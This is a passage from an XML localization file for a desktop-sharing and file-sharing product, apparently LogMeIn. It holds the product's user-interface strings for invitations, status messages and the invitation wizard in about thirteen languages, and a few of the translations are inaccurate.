<zh>邀请可靠的朋友或同事查看或控制您的桌面。 您邀请的人员将能够看见您的操作,并可在您的授权下控制您的键盘和鼠标。</zh>
<ko>사용자의 데스크톱을 보거나 제어할 믿을 수 있는 친구나 동료를 초대합니다. 초대된 사람은 사용자가 작업하는 것을 볼 수 있으며, 사용자의 권한으로 키보드 및 마우스를 제어할 수 있습니다.</ko>
<en-gb>Invite a trusted friend or colleague to view or control your desktop. The person you invite will be able to see your work and, with your permission, take control of your keyboard and mouse.</en-gb>
<hu>Ossza meg képernyőjét barátaival vagy munkatársaival. A meghívott személy láthatja, hogy Ön min dolgozik, és az engedélyével távolról vezérelheti is az Ön billentyűzetét és egerét.</hu>
<pt-br>Convide um amigo ou colega confiável para ver ou controlar sua área de trabalho. A pessoa que você convida poderá ver o seu trabalho e, com sua permissão, controlar o teclado e o mouse do seu computador.</pt-br>
<nl>Nodig vrienden of collega's uit om het bureaublad van uw computer te bekijken of te besturen. De persoon die u uitnodigt kan uw werk zien en als u hiervoor de toestemming geeft, kan deze persoon ook uw toetsenbord en muis bedienen.</nl>
</msg>
<msg name="MSG_OFFLINE">
<en>Ready but offline. You cannot send invitations, and invited guests cannot connect to this computer.</en>
<es>Listo pero desconectado. No puede enviar invitaciones, y los usuarios invitados no pueden conectarse a este ordenador.</es>
<de>Bereit, aber offline. Sie können keine Einladungen aussenden. Eingeladene Gäste können keine Verbindung zu diesem Computer herstellen.</de>
<fr>Prêt mais hors ligne. Vous ne pouvez pas envoyer d'invitations et les invités ne peuvent pas se connecter à cet ordinateur.</fr>
<it>Pronto ma non in linea. Non è possibile inviare inviti, e gli ospiti invitati non possono connettersi a questo computer.</it>
<ru>Готов, но работает автономно. Вы не можете отправлять приглашения, и приглашенные гости не могут подключиться к этому компьютеру.</ru>
<ja>準備はできていますがオフラインです。 招待状を送信できません。また、招待ゲストがこのコンピュータに接続できません。</ja>
<zh>准备就绪但已脱机。 您无法发送邀请,受邀请的来宾无法连接到此计算机。</zh>
<ko>준비되었지만 오프라인입니다. 초대장을 보낼 수 없으며 초대된 게스트는 이 컴퓨터에 연결할 수 없습니다.</ko>
<en-gb>Ready but offline. You cannot send invitations, and invited guests cannot connect to this computer.</en-gb>
<hu>Készen áll, de kapcsolaton kívüli. Nem küldhet meghívókat, a meghívott vendégek pedig nem csatlakozhatnak ehhez a számítógéphez.</hu>
<pt-br>Pronto, mas offline. Você não pode enviar convites, e os convidados não podem se conectar a este computador.</pt-br>
<nl>Gereed maar offline. U kunt geen uitnodigingen versturen en uitgenodigde gasten kunnen geen verbinding maken met deze computer.</nl>
</msg>
<msg name="MSG_DISABLED">
<en>%PRODUCTNAME is turned off. You cannot send invitations, and invited guests cannot connect to this computer.</en>
<es>%PRODUCTNAME está apagado. No puede enviar invitaciones, y los usuarios invitados no pueden conectarse a este ordenador.</es>
<de>%PRODUCTNAME ist nicht aktiv. Sie können keine Einladungen aussenden. Eingeladene Gäste können keine Verbindung zu diesem Computer herstellen.</de>
<fr>%PRODUCTNAME est désactivé. Vous ne pouvez pas envoyer d'invitations et les invités ne peuvent pas se connecter à cet ordinateur.</fr>
<it>%PRODUCTNAME è disattivato. Non è possibile inviare inviti, e gli ospiti invitati non possono connettersi a questo computer.</it>
<ru>Программа %PRODUCTNAME отключена. Вы не можете отправлять приглашения, и приглашенные гости не могут подключиться к этому компьютеру.</ru>
<ja>%PRODUCTNAME がオフになっています。 招待状を送信できません。また、招待ゲストがこのコンピュータに接続できません。</ja>
<zh>%PRODUCTNAME 已关闭。 您无法发送邀请,受邀请的来宾无法连接到此计算机。</zh>
<ko>%PRODUCTNAME이(가) 꺼져 있습니다. 초대장을 보낼 수 없으며 초대된 게스트는 이 컴퓨터에 연결할 수 없습니다.</ko>
<en-gb>%PRODUCTNAME is turned off. You cannot send invitations, and invited guests cannot connect to this computer.</en-gb>
<hu>A %PRODUCTNAME ki van kapcsolva. Nem küldhet meghívókat, a meghívott vendégek pedig nem csatlakozhatnak ehhez a számítógéphez.</hu>
<pt-br>O %PRODUCTNAME está desligado. Você não pode enviar convites, e os convidados não podem se conectar a este computador.</pt-br>
<nl>%PRODUCTNAME is afgemeld. U kunt geen uitnodigingen versturen en uitgenodigde gasten kunnen geen verbinding maken met deze computer.</nl>
</msg>
<msg name="BTN_INV">
<en>Send an invitation...</en>
<es>Enviar una invitación...</es>
<de>Einladung senden...</de>
<fr>Envoyer une invitation...</fr>
<it>Invia un invito...</it>
<ru>Отправить приглашение...</ru>
<ja>招待状の送信...</ja>
<zh>发送邀请...</zh>
<ko>초대장 보내기...</ko>
<en-gb>Send an invitation...</en-gb>
<hu>Meghívó küldése...</hu>
<pt-br>Enviar um convite...</pt-br>
<nl>Stuur een uitnodiging...</nl>
</msg>
<msg name="BTN_MAKESURE">
<en>This will delete all links for Desktop Sharing. Are you sure?</en>
<es>Esto borrará todos los enlaces de Escritorio compartido. ¿Está seguro?</es>
<de>Alle Desktopfreigabelinks werden gelöscht. Sind Sie sicher?</de>
<fr>Tous les liens de partage de bureau seront supprimés. Êtes-vous sûr ?</fr>
<it>Questa operazione eliminerà tutti i collegamenti della condivisione desktop. Continuare?</it>
<ru>Будут удалены все ссылки для совместного использования рабочего стола. Выполнить эту операцию?</ru>
<ja>デスクトップ共有のすべてのリンクが削除されます。 実行してよろしいですか。</ja>
<zh>这将删除桌面共享的所有链接。 是否确定?</zh>
<ko>데스크톱 공유에 대한 모든 링크를 삭제합니다. 수행하시겠습니까?</ko>
<hu>Ezzel a Képernyőmegosztásra vonatkozó valamennyi hivatkozás törlődni fog. Biztos benne?</hu>
<pt-br>Todos os links do Compartilhamento da área de trabalho serão excluídos. Tem certeza?</pt-br>
<nl>Hierdoor worden alle koppelingen voor het Delen van bureaublad verwijderd. Weet u het zeker?</nl>
<en-gb>This will delete all links for Desktop Sharing. Are you sure?</en-gb>
</msg>
<msg name="CURRINV">
<en>Current invitations</en>
<es>Invitaciones actuales</es>
<de>Aktuelle Einladungen</de>
<fr>Invitations en cours</fr>
<it>Inviti correnti</it>
<ru>Текущие приглашения</ru>
<ja>現在の招待</ja>
<zh>当前邀请</zh>
<ko>현재 초대한 사람</ko>
<en-gb>Current invitations</en-gb>
<hu>Jelenlegi meghívók</hu>
<pt-br>Convites atuais</pt-br>
<nl>Huidige uitnodigingen</nl>
</msg>
<msg name="MSG2_DISABLED">
<en>To see the list of current invitations, please turn %PRODUCTNAME on.</en>
<es>Para ver la lista de invitaciones actuales, encienda %PRODUCTNAME.</es>
<de>Bitte starten Sie %PRODUCTNAME, um die Liste der aktuellen Einladungen zu sehen.</de>
<fr>Pour voir la liste des invitations en cours, activez %PRODUCTNAME.</fr>
<it>Per vedere l'elenco degli inviti correnti, attivare %PRODUCTNAME.</it>
<ru>Для просмотра списка текущих приглашений включите %PRODUCTNAME.</ru>
<ja>現在の招待のリストを表示するには、%PRODUCTNAME をオンにしてください。</ja>
<zh>要查看当前邀请的列表,请打开 %PRODUCTNAME。</zh>
<ko>초대한 사람 목록을 보려면, %PRODUCTNAME을(를) 켜십시오.</ko>
<en-gb>To see the list of current invitations, please turn %PRODUCTNAME on.</en-gb>
<hu>A jelenlegi meghívók listájának megtekintéséhez kapcsolja be a %PRODUCTNAME programot.</hu>
<pt-br>Para ver a lista de convites atuais, desligue o %PRODUCTNAME.</pt-br>
<nl>Om de lijst van actuele uitnodigingen te bekijken, activeert u %PRODUCTNAME.</nl>
</msg>
<msg name="BTN_DEACT">
<en>Deactivate</en>
<es>Desactivar</es>
<de>Deaktivieren</de>
<fr>Désactiver</fr>
<it>Disattiva</it>
<ru>Деактивировать</ru>
<ja>無効化</ja>
<zh>停用</zh>
<ko>비활성화</ko>
<en-gb>Deactivate</en-gb>
<hu>Deaktiválás</hu>
<pt-br>Desativar</pt-br>
<nl>Uitschakelen</nl>
</msg>
<msg name="TIMES">
<en>$1 times</en>
<es>$1 veces</es>
<de>$1 Mal</de>
<fr>$1 fois</fr>
<it>$1 volte</it>
<ru>$1 раз</ru>
<ja>$1 回</ja>
<zh>$1 次</zh>
<ko>$1번</ko>
<en-gb>$1 times</en-gb>
<hu>$1 alkalommal</hu>
<pt-br>$1 vezes</pt-br>
<nl>$1 keer</nl>
</msg>
<cat name="WIZARD">
<msg name="BTN_SENDINV">
<en>Send invitation</en>
<es>Enviar invitación</es>
<de>Einladung senden</de>
<fr>Envoyer une invitation</fr>
<it>Invia invito</it>
<ru>Отправить приглашение</ru>
<ja>招待状を送信</ja>
<zh>发送邀请</zh>
<ko>초대장 보내기</ko>
<en-gb>Send invitation</en-gb>
<hu>Meghívó küldése</hu>
<pt-br>Enviar convite</pt-br>
<nl>Uitnodiging versturen</nl>
</msg>
<msg name="PG1.MMTITLE">
<en>Title:</en>
<es>Título:</es>
<de>Titel:</de>
<fr>Titre :</fr>
<it>Titolo:</it>
<ru>Название:</ru>
<ja>表題:</ja>
<zh>标题:</zh>
<ko>제목:</ko>
<en-gb>Title:</en-gb>
<hu>Cím:</hu>
<pt-br>Título:</pt-br>
<nl>Titel:</nl>
</msg>
<msg name="PG1.TITLE_NOTE">
<en>Enter a title for the invitation for future reference.</en>
<es>Introduzca un título para la invitación que sirva de referencia en el futuro.</es>
<de>Geben Sie zur späteren Identifizierung einen Titel für die Einladung ein.</de>
<fr>Donnez un titre à l'invitation, pour référence.</fr>
<it>Immettere il titolo dell'invito, per riferimento futuro.</it>
<ru>Введите название приглашения для использования в будущем.</ru>
<ja>今後の参照用に招待状の表題を入力してください。</ja>
<zh>输入邀请的标题以备将来参考。</zh>
<ko>나중에 참고하기 위해 초대장 제목을 입력하십시오.</ko>
<en-gb>Enter a title for the invitation for future reference.</en-gb>
<hu>Adjon címet a meghívónak a későbbi hivatkozásokhoz.</hu>
<pt-br>Insira um título para o convite para referência futura.</pt-br>
<nl>Voer een titel voor de uitnodiging in voor toekomstig gebruik.</nl>
</msg>
<msg name="PG1.EXP_NOTE">
<en>Set the time left for your guest to accept the invitation.</en>
<es>Establezca el tiempo restante para que su invitado acepte la invitación.</es>
<de>Legen Sie fest, wie viel Zeit Ihrem Gast bleibt, um die Einladung anzunehmen.</de>
<fr>Définissez le temps restant à l'invité pour accepter l'invitation.</fr>
<it>Impostare il tempo disponibile all'ospite per accettare l'invito.</it>
<ru>Установите оставшееся время для принятия гостем приглашения.</ru>
<ja>ゲストが招待を受諾するまでの残り時間を設定します。</ja>
<zh>设置您来宾可以接受邀请的剩余时间。</zh>
<ko>게스트가 초대를 수락하기까지 남은 시간을 설정하십시오.</ko>
<en-gb>Set the time left for your guest to accept the invitation.</en-gb>
<hu>Állítsa be azt az időt, amely a vendégének rendelkezésére áll a meghívó elfogadására.</hu>
<pt-br>Defina o tempo que resta para seu convidado aceitar o convite.</pt-br>
<nl>Stel de tijd in die uw gast over heeft om de uitnodiging aan te nemen.</nl>
</msg>
<msg name="PG2.CONTACT">
<en>Invitation Method</en>
<es>Método de invitación</es>
<de>Einladungsmethode</de>
<fr>Méthode d'invitation</fr>
<it>Metodo di invito</it>
<ru>Способ приглашения</ru>
<ja>招待の方法</ja>
<zh>邀请方法</zh>
<ko>초대 방법</ko>
<en-gb>Invitation Method</en-gb>
<hu>Meghívás módja</hu>
<pt-br>Método de convite</pt-br>
<nl>Uitnodigingsmethode</nl>
</msg>
<msg name="PG2.SENDML_NOTE">
<en>%PRODUCTNAME will generate and send an email for the recipient you define in the next step.</en>
<es>%PRODUCTNAME generará y enviará un correo electrónico para el destinatario que defina en el siguiente paso.</es>
<de>%PRODUCTNAME erstellt und versendet eine E-Mail an den im nächsten Schritt ausgewählten Empfänger.</de>
<fr>%PRODUCTNAME va générer et envoyer un email au destinataire que vous allez spécifier à l'étape suivante.</fr>
<it>%PRODUCTNAME creerà un'e-mail e l'invierà al destinatario specificato nel prossimo passaggio.</it>
<ru>%PRODUCTNAME создаст и отправит электронное письмо получателю, которого вы назначите на следующем этапе.</ru>
<ja>この次のステップで定義する受信者宛ての電子メールが %PRODUCTNAME によって生成され、送信されます。</ja>
<zh>%PRODUCTNAME 将生成电子邮件发送给在下一步中定义的收件人。</zh>
<ko>%PRODUCTNAME이(가) 전자 메일을 생성하여 다음 단계에서 정의한 수신자에게 보냅니다.</ko>
<en-gb>%PRODUCTNAME will generate and send an email for the recipient you define in the next step.</en-gb>
<hu>A %PRODUCTNAME e-mail üzenetet hoz létre, és a következő lépésben kiküldi az Ön által megadott címzettnek.</hu>
<pt-br>O %PRODUCTNAME gerará e enviará um email para o destinatário definido na próxima etapa.</pt-br>
<nl>%PRODUCTNAME zal een e-mail genereren en versturen voor de ontvanger die u tijdens de volgende stap opgeeft.</nl>
</msg>
<msg name="PG2.DONTSEND">
<en>I will send the invitation myself</en>
<es>Enviaré la invitación yo mismo</es>
<de>Einladung selbst versenden</de>
<fr>J'enverrai l'invitation moi-même</fr>
<it>Invierò l'invito personalmente</it>
<ru>Я отправлю приглашение самостоятельно</ru>
<ja>自分で招待状を送信する</ja>
<zh>我将向我自己发送邀请</zh>
<ko>LogMeIn이 초대장을 생성하여 보냅니다</ko>
<en-gb>I will send the invitation myself</en-gb>
<hu>Én magam fogom elküldeni a meghívót</hu>
<pt-br>Eu mesmo enviarei o convite</pt-br>
<nl>Ik wil de uitnodiging zelf versturen</nl>
</msg>
<msg name="PG2.DONTSEND_NOTE">
<en>%PRODUCTNAME creates a secure link you can then use in your own email client.</en>
<es>%PRODUCTNAME crea un enlace seguro que podrá usar en su propio cliente de correo electrónico.</es>
<de>%PRODUCTNAME erstellt einen sicheren Link, den Sie dann in Ihrem eigenen E-Mail-Client verwenden können.</de>
<fr>%PRODUCTNAME crée un lien sécurisé que vous pouvez ensuite utiliser dans votre propre client de messagerie.</fr>
<it>%PRODUCTNAME crea un collegamento protetto da usare nel proprio client e-mail.</it>
<ru>%PRODUCTNAME создаст безопасную ссылку, которую вы затем сможете использовать в своем почтовом клиенте.</ru>
<ja>電子メール クライアントで使用できる安全なリンクが %PRODUCTNAME によって作成されます。</ja>
<zh>%PRODUCTNAME 创建了您可以在自己的电子邮件客户端中使用的安全链接。</zh>
<ko>%PRODUCTNAME 이(가) 사용자의 전자 메일 클라이언트에서 사용할 수 있는 보안 링크를 만듭니다.</ko>
<en-gb>%PRODUCTNAME creates a secure link you can then use in your own email client.</en-gb>
<hu>A %PRODUCTNAME létrehoz egy biztonságos hivatkozást, amelyet aztán Ön a saját e-mail kliensében használhat.</hu>
<pt-br>O %PRODUCTNAME cria um link seguro que você poderá usar no seu próprio cliente de email.</pt-br>
<nl>%PRODUCTNAME maakt een beveiligde koppeling aan die u vervolgens kunt gebruiken in uw eigen e-mailclient.</nl>
</msg>
<msg name="PG3.COMPMAIL">
<en>Compose Invitation Email</en>
<es>Escriba el correo electrónico de invitación</es>
<de>E-Mail-Einladung erstellen</de>
<fr>Rédiger un email d'invitation</fr>
<it>Componi e-mail di invito</it>
<ru>Составить электронное письмо с приглашением</ru>
<ja>招待メールの作成</ja>
<zh>撰写邀请电子邮件</zh>
<ko>초대장 전자 메일 구성</ko>
<en-gb>Compose Invitation Email</en-gb>
<hu>Meghívó e-mail létrehozása</hu>
<pt-br>Compor email de convite</pt-br>
<nl>E-mail voor uitnodiging samenstellen</nl>
</msg>
<msg name="PG3.MSG5">
<en>Enter the address and message for the person you are inviting to view your desktop.</en>
<es>Introduzca la dirección y el mensaje para que la persona a la que invita vea su escritorio.</es>
<de>Geben Sie die Adresse und eine Nachricht für die Person ein, die Sie zum Betrachten Ihres Desktops einladen möchten.</de>
<fr>Entrez l'adresse email et le message à destination de la personne que vous invitez à voir votre bureau.</fr>
<it>Immettere l'indirizzo della persona che si sta invitando a visualizzare il proprio desktop e il messaggio da inviare.</it>
<ru>Введите адрес и сообщение для человека, приглашаемого для просмотра вашего рабочего стола.</ru>
<ja>デスクトップの表示に招待するユーザのアドレスとメッセージを入力します。</ja>
<zh>输入您要邀请其查看您计算机的人员的地址和消息。</zh>
<ko>사용자의 데스크톱을 보도록 초대할 사람의 주소 및 메시지를 입력하십시오.</ko>
<en-gb>Enter the address and message for the person you are inviting to view your desktop.</en-gb>
<hu>Írja be az Ön asztalának megtekintésére meghívott személy címét és a neki szóló üzenetet.</hu>
<pt-br>Digite o endereço e a mensagem para a pessoa que você está convidando para ver sua área de trabalho.</pt-br>
<nl>Voer het adres en het bericht in voor de persoon die u wilt uitnodigen om uw bureaublad te bekijken.</nl>
</msg>
<msg name="PG3.MAILADDR">
<en>Guest's email:</en>
<es>Correo electrónico del invitado:</es>
<de>E-Mail-Adresse des Empfängers:</de>
<fr>Email de l'invité :</fr>
<it>E-mail dell'ospite:</it>
<ru>Адрес электронной почты гостя:</ru>
<ja>ゲストのメール アドレス:</ja>
<zh>来宾的电子邮件:</zh>
<ko>게스트 전자 메일:</ko>
<en-gb>Guest's email:</en-gb>
<hu>Vendég e-mail címe:</hu>
<pt-br>Email do convidado:</pt-br>
<nl>E-mail van gast:</nl>
</msg>
<msg name="PG3.MESSAGE">
<en>Comments to the recipient:</en>
<es>Comentarios para el destinatario:</es>
<de>Nachricht für den Empfänger:</de>
<fr>Commentaire pour le destinataire :</fr>
<it>Commenti per il destinatario:</it>
<ru>Комментарии для получателя:</ru>
<ja>受信者宛てのメッセージ:</ja>
<zh>收件人注解:</zh>
<ko>수신인 설명:</ko>
<en-gb>Comments to the recipient:</en-gb>
<hu>Megjegyzések a címzettnek:</hu>
<pt-br>Comentários para o destinatário:</pt-br>
<nl>Opmerkingen voor de ontvanger:</nl>
</msg>
<msg name="PG3.MAILOPT">
<en>Email options:</en>
<es>Opciones de correo electrónico:</es>
<de>E-Mail-Optionen:</de>
<fr>Options d'email :</fr>
<it>Opzioni e-mail:</it>
<ru>Параметры электронного письма:</ru>
<ja>電子メールのオプション:</ja>
<zh>电子邮件选项:</zh>
<ko>전자 메일 옵션:</ko>
<en-gb>Email options:</en-gb>
<hu>E-mail beállításai:</hu>
<pt-br>Opções de email:</pt-br>
<nl>E-mailopties:</nl>
</msg>
<msg name="PG3.SENDACPY">
<en>Send a copy to $1</en>
<es>Enviar una copia a $1</es>
<de>Kopie an $1 senden</de>
<fr>Envoyer une copie à $1</fr>
<it>Invia copia a $1</it>
<ru>Отправить копию $1</ru>
<ja>$1 にコピーを送信</ja>
<zh>将副本发送到 $1</zh>
<ko>$1(으)로 사본 보내기</ko>
<en-gb>Send a copy to $1</en-gb>
<hu>Másolat küldése $1 számára</hu>
<pt-br>Enviar uma cópia para $1</pt-br>
<nl>Kopie sturen aan $1</nl>
</msg>
<msg name="PG3.MSGLNG">
<en>Message language:</en>
<es>Idioma del mensaje:</es>
<de>Sprache der Nachricht:</de>
<fr>Langue du message :</fr>
<it>Lingua del messaggio:</it>
<ru>Язык сообщения:</ru>
<ja>メッセージの言語:</ja>
<zh>消息语言:</zh>
<ko>메시지 언어:</ko>
<en-gb>Message language:</en-gb>
<hu>Üzenet nyelve:</hu>
<pt-br>Idioma da mensagem:</pt-br>
<nl>Taal bericht:</nl>
</msg>
<msg name="PG4.INVSENT">
<en>Invitation sent successfully.</en>
<es>Invitación enviada correctamente.</es>
<de>Einladung erfolgreich versendet.</de>
<fr>Invitation envoyée avec succès.</fr>
<it>Invio del messaggio di invito completato.</it>
<ru>Приглашение отправлено.</ru>
<ja>招待状が正常に送信されました。</ja>
<zh>已成功发送邀请.</zh>
<ko>초대장을 보냈습니다.</ko>
<en-gb>Invitation sent successfully.</en-gb>
<hu>A meghívó sikeresen elküldve.</hu>
<pt-br>Convite enviado com sucesso.</pt-br>
<nl>Uitnodiging verstuurd.</nl>
</msg>
<msg name="PG4.MSG6">
<en>The invitation email has been successfully sent to $1</en>
<es>El correo electrónico con la invitación se ha enviado correctamente a $1</es>
<de>Die E-Mail-Einladung wurde erfolgreich an $1 gesendet.</de>
<fr>L'email d'invitation a été envoyé avec succès à $1</fr>
<it>Il messaggio e-mail di invito è stato inviato a $1</it>
<ru>Электронное письмо с приглашением было отправлено $1</ru>
<ja>招待メールが $1 に正常に送信されました</ja>
<zh>已成功将邀请电子邮件发送到 $1</zh>
<ko>$1에게 초대 전자 메일을 보냈습니다.</ko>
<en-gb>The invitation email has been successfully sent to $1</en-gb>
<hu>A meghívó e-mail sikeresen elküldve $1 számára</hu>
<pt-br>O email de convite foi enviado com êxito para $1</pt-br>
<nl>De uitnodiging is via e-mail verstuurd naar $1</nl>
</msg>
<msg name="PG4.MSG7">
<en>You will be notified when your invitation is answered.</en>
<es>El sistema le notificará cuando se responda la invitación.</es>
<de>Sie erhalten eine Benachrichtigung, wenn der Empfänger auf Ihre Einladung reagiert.</de>
<fr>Vous serez averti lorsque la personne répondra à votre invitation.</fr>
<it>Quando verrà risposto all'invito, si riceverà una notifica.</it>
<ru>Вы получите уведомление при ответе на ваше приглашение.</ru>
<ja>招待状に返答があると、通知されます。</ja>
<zh>当您的邀请得到应答时,您将收到通知。</zh>
<ko>초대에 대한 응답이 있으면 알립니다.</ko>
<en-gb>You will be notified when your invitation is answered.</en-gb>
<hu>Értesítést fog kapni, ha a meghívóját megválaszolják.</hu>
<pt-br>Você será notificado quando o convite for respondido.</pt-br>
<nl>U krijgt een melding wanneer uw uitnodiging wordt beantwoord.</nl>
</msg>
<msg name="PG5.INVCRT">
<en>Invitation link ready for email.</en>
<es>Enlace de la invitación listo para enviar por correo electrónico.</es>
<de>Der Einladungslink kann nun per E-Mail verschickt werden.</de>
<fr>Lien d'invitation prêt à envoyer par email.</fr>
<it>Collegamento dell'invito pronto per l'e-mail.</it>
<ru>Ссылка с приглашением готова к отправке электронной почтой.</ru>
<ja>招待リンクを電子メールで送信する準備ができました。</ja>
<zh>邀请链接已准备好通过电子邮件发送.</zh>
<ko>전자 메일에 첨부할 초대 링크가 준비되었습니다.</ko>
<en-gb>Invitation link ready for email.</en-gb>
<hu>Az e-mailhez használható meghívó hivatkozása elkészült.</hu>
<pt-br>Link do convite pronto para email.</pt-br>
<nl>Uitnodigingskoppeling gereed voor e-mail.</nl>
</msg>
<msg name="PG5.INV_NOTE">
<en>The link below can be used by your guests to accept the invitation and view your desktop via a secure web page.</en>
<es>Los invitados pueden utilizar el enlace a continuación para aceptar la invitación y ver su escritorio a través de una página Web segura.</es>
<de>Über den nachfolgenden Link können Ihre Gäste die Einladung annehmen und Ihren Desktop über eine sichere Webseite betrachten.</de>
<fr>Vos invités peuvent utiliser le lien ci-dessous pour accepter l'invitation et voir votre bureau par le biais d'une page Web sécurisée.</fr>
<it>Il collegamento sotto potrà essere usato dagli ospiti per accettare l'invito e visualizzare il desktop tramite una pagina Web protetta.</it>
<ru>Приведенная ниже ссылка может быть использована вашими гостями для принятия приглашения и просмотра вашего рабочего стола посредством безопасной веб-страницы.</ru>
<ja>ゲストは下のリンクを使って招待を受諾し、安全な Web ページ経由でこちら側のデスクトップを表示できます。</ja>
<zh>您的来宾能够利用以下链接接受邀请并通过安全网页查看您的桌面。</zh>
<ko>게스트가 아래 링크를 사용하여 초대를 수락하거나 보안 웹 페이지를 통해 사용자의 데스크톱을 볼 수 있습니다.</ko>
<en-gb>The link below can be used by your guests to accept the invitation and view your desktop via a secure web page.</en-gb>
<hu>Az alábbi hivatkozás felhasználásával az Ön vendégei elfogadhatják a meghívást, és egy biztonságos weboldalon keresztül megtekinthetik az Ön asztalát.</hu>
<pt-br>O link a seguir pode ser usado pelos seus convidados para aceitar o convite e exibir sua área de trabalho através de uma página da Web segura.</pt-br>
<nl>De koppeling hieronder kan door uw gasten worden gebruikt om de uitnodiging aan te nemen en uw bureaublad te bekijken via een beveiligde webpagina.</nl>
</msg>
</cat>
<cat name="DETAILS">
<msg name="TITLE">
<en>Desktop Sharing Details</en>
<es>Detalles de Escritorio compartido</es>
<de>Details zur Desktopfreigabe</de>
<fr>Détails de partage de bureau</fr>
<it>Dettagli della Condivisione del desktop</it>
<ru>Сведения о совместном использовании рабочего стола</ru>
<ja>デスクトップ共有の詳細</ja>
<zh>桌面共享详细信息</zh>
<ko>데스크톱 공유 세부사항</ko>
<en-gb>Desktop Sharing Details</en-gb>
<hu>Képernyőmegosztás részletei</hu>
<pt-br>Detalhes do Compartilhamento da área de trabalho</pt-br>
<nl>Details Delen van bureaublad</nl>
</msg>
</cat>
</cat>
<cat name="FILESHARING">
<msg name="TITLE">
<en>File Sharing</en>
<es>Transferencia de archivos</es>
<de>Dateifreigabe</de>
<fr>Partage de fichiers</fr>
<it>Condivisione dei file</it>
<ru>Общий доступ к файлам</ru>
<ja>ファイル共有</ja>
<zh>文件共享</zh>
<ko>파일 공유</ko>
<en-gb>File Sharing</en-gb>
<hu>Fájlmegosztás</hu>
<pt-br>Compartilhamento de arquivos</pt-br>
<nl>Bestanden delen</nl>
</msg>
<msg name="SHAREAFILE">
<en>Share a File</en>
<es>Compartir un archivo</es>
<de>Datei freigeben</de>
<fr>Partager un fichier</fr>
<it>Condividi un file</it>
<ru>Общий доступ к файлу</ru>
<ja>ファイルの共有</ja>
<zh>共享文件</zh>
<ko>파일 공유</ko>
<en-gb>Share a File</en-gb>
<hu>Fájl megosztása</hu>
<pt-br>Compartilhar um arquivo</pt-br>
<nl>Deel een bestand</nl>
</msg>
<msg name="MSG1">
<en>Sharing allows friends or colleagues to securely download a selected file directly from your computer, even if it’s too large for email.</en>
<es>Compartir permite a sus amigos o colegas descargar de forma segura un archivo seleccionado directamente desde su ordenador, aunque sea demasiado grande para enviarlo por correo electrónico.</es>
<de>Die Freigabe ermöglicht es Freunden oder Kollegen, die ausgewählte Datei sicher und direkt von Ihrem Computer herunterzuladen, selbst wenn sie zu groß für einen E-Mail-Anhang ist.</de>
<fr>Le partage permet à vos amis ou collègues de télécharger de manière sécurisée un fichier depuis votre ordinateur, même s'il est trop volumineux pour l'email.</fr>
<it>La Condivisione consente ad amici e colleghi di scaricare in sicurezza un file selezionato direttamente dal proprio computer, anche se di dimensioni eccessive per l'invio tramite e-mail.</it>
<ru>Функция общего доступа позволяет друзьям или коллегам безопасно загружать выбранный файл непосредственно с вашего компьютера, даже если он слишком большой для отправки электронной почтой.</ru>
<ja>ファイル共有を使用すると、メールで送信するには大きすぎるファイルでも、お使いのコンピュータから友人や同僚が直接安全にダウンロードできるようになります。</ja>
<zh>共享允许朋友或同事通过您的计算机安全地下载所选文件,即使是太大而无法通过电子邮件发送的文件。</zh>
<ko>파일 공유를 사용하면 친구 또는 동료가 사용자의 컴퓨터에서 선택한 파일(전자 메일로 보내기에는 너무 큰 파일도)을 안전하게 직접 다운로드할 수 있습니다.</ko>
<en-gb>Sharing allows friends or colleagues to securely download a selected file directly from your computer, even if it's too large for email.</en-gb>
<hu>A megosztás lehetővé teszi a barátai vagy kollégái számára, hogy biztonságos módon, közvetlenül az Ön számítógépéről töltsenek le egy kiválasztott fájlt, még ha e-mailes küldéshez túl nagy is lenne.</hu>
<pt-br>O Compartilhamento permite aos amigos ou colegas baixar com segurança um arquivo selecionado diretamente do seu computador, mesmo que seja grande demais para email.</pt-br>
<nl>Door bestanden te delen kunnen uw vrienden of collega’s op een veilige manier een bepaald bestand rechtstreeks van uw computer downloaden, ook wanneer dit te groot voor een e-mail is.</nl>
</msg>
<msg name="MSG1_OFFLINE">
<en>Ready but offline. You cannot share files, and files already shared cannot be downloaded from this computer.</en>
<es>Listo pero desconectado. No puede compartir archivos, y los archivos ya compartidos no se pueden descargar desde este ordenador.</es>
<de>Bereit, aber offline. Sie können keine Dateien freigeben. Bereits freigegebene Dateien können nicht von diesem Computer heruntergeladen werden.</de>
<fr>Prêt mais hors ligne. Vous ne pouvez pas partager de fichiers, et les fichiers déjà partagés ne peuvent pas être téléchargés depuis cet ordinateur.</fr>
<it>Pronto ma non in linea. Non è possibile condividere file, e i file già condivisi non possono essere scaricati da questo computer.</it>
<ru>Готов, но работает автономно. Невозможно предоставить общий доступ к файлам, а уже открытые для общего доступа файлы невозможно загрузить с вашего компьютера.</ru>
<ja>準備はできていますがオフラインです。 ファイルを共有できません。また、共有済みのファイルをこのコンピュータからダウンロードできません。</ja>
<zh>准备就绪但已脱机。 您无法共享文件,已经共享的文件无法通过此计算机下载。</zh>
<ko>준비되었지만 오프라인입니다. 파일을 공유할 수 없으며 이미 공유한 파일도 이 컴퓨터에서 다운로드할 수 없습니다.</ko>
<en-gb>Ready but offline. You cannot share files, and files already shared cannot be downloaded from this computer.</en-gb>
<hu>Készen áll, de kapcsolaton kívüli. Nem oszthat meg fájlokat, és a már megosztott fájlok nem tölthetők le erről a számítógépről.</hu>
<pt-br>Pronto, mas offline. Você não pode compartilhar arquivos, e os arquivos já compartilhados não podem ser baixados deste computador.</pt-br>
<nl>Gereed maar offline. U kunt geen bestanden delen en bestanden die al gedeeld zijn kunnen niet van deze computer worden gedownload.</nl>
</msg>
<msg name="MSG1_DISABLED">
<en>%PRODUCTNAME is turned off. You cannot share files, and files already shared cannot be downloaded from this computer.</en>
<es>%PRODUCTNAME está apagado. No puede compartir archivos, y los archivos ya compartidos no se pueden descargar desde este ordenador.</es>
<de>%PRODUCTNAME ist nicht aktiv. Sie können keine Dateien freigeben. Bereits freigegebene Dateien können nicht von diesem Computer heruntergeladen werden.</de>
<fr>%PRODUCTNAME est désactivé. Vous ne pouvez pas partager de fichiers, et les fichiers déjà partagés ne peuvent pas être téléchargés depuis cet ordinateur.</fr>
<it>%PRODUCTNAME è disattivato. Non è possibile condividere file, e i file già condivisi non possono essere scaricati da questo computer.</it>
<ru>Программа %PRODUCTNAME отключена. Невозможно предоставить общий доступ к файлам, а уже открытые для общего доступа файлы невозможно загрузить с вашего компьютера.</ru>
<ja>%PRODUCTNAME がオフになっています。 ファイルを共有できません。また、共有済みのファイルをこのコンピュータからダウンロードできません。</ja>
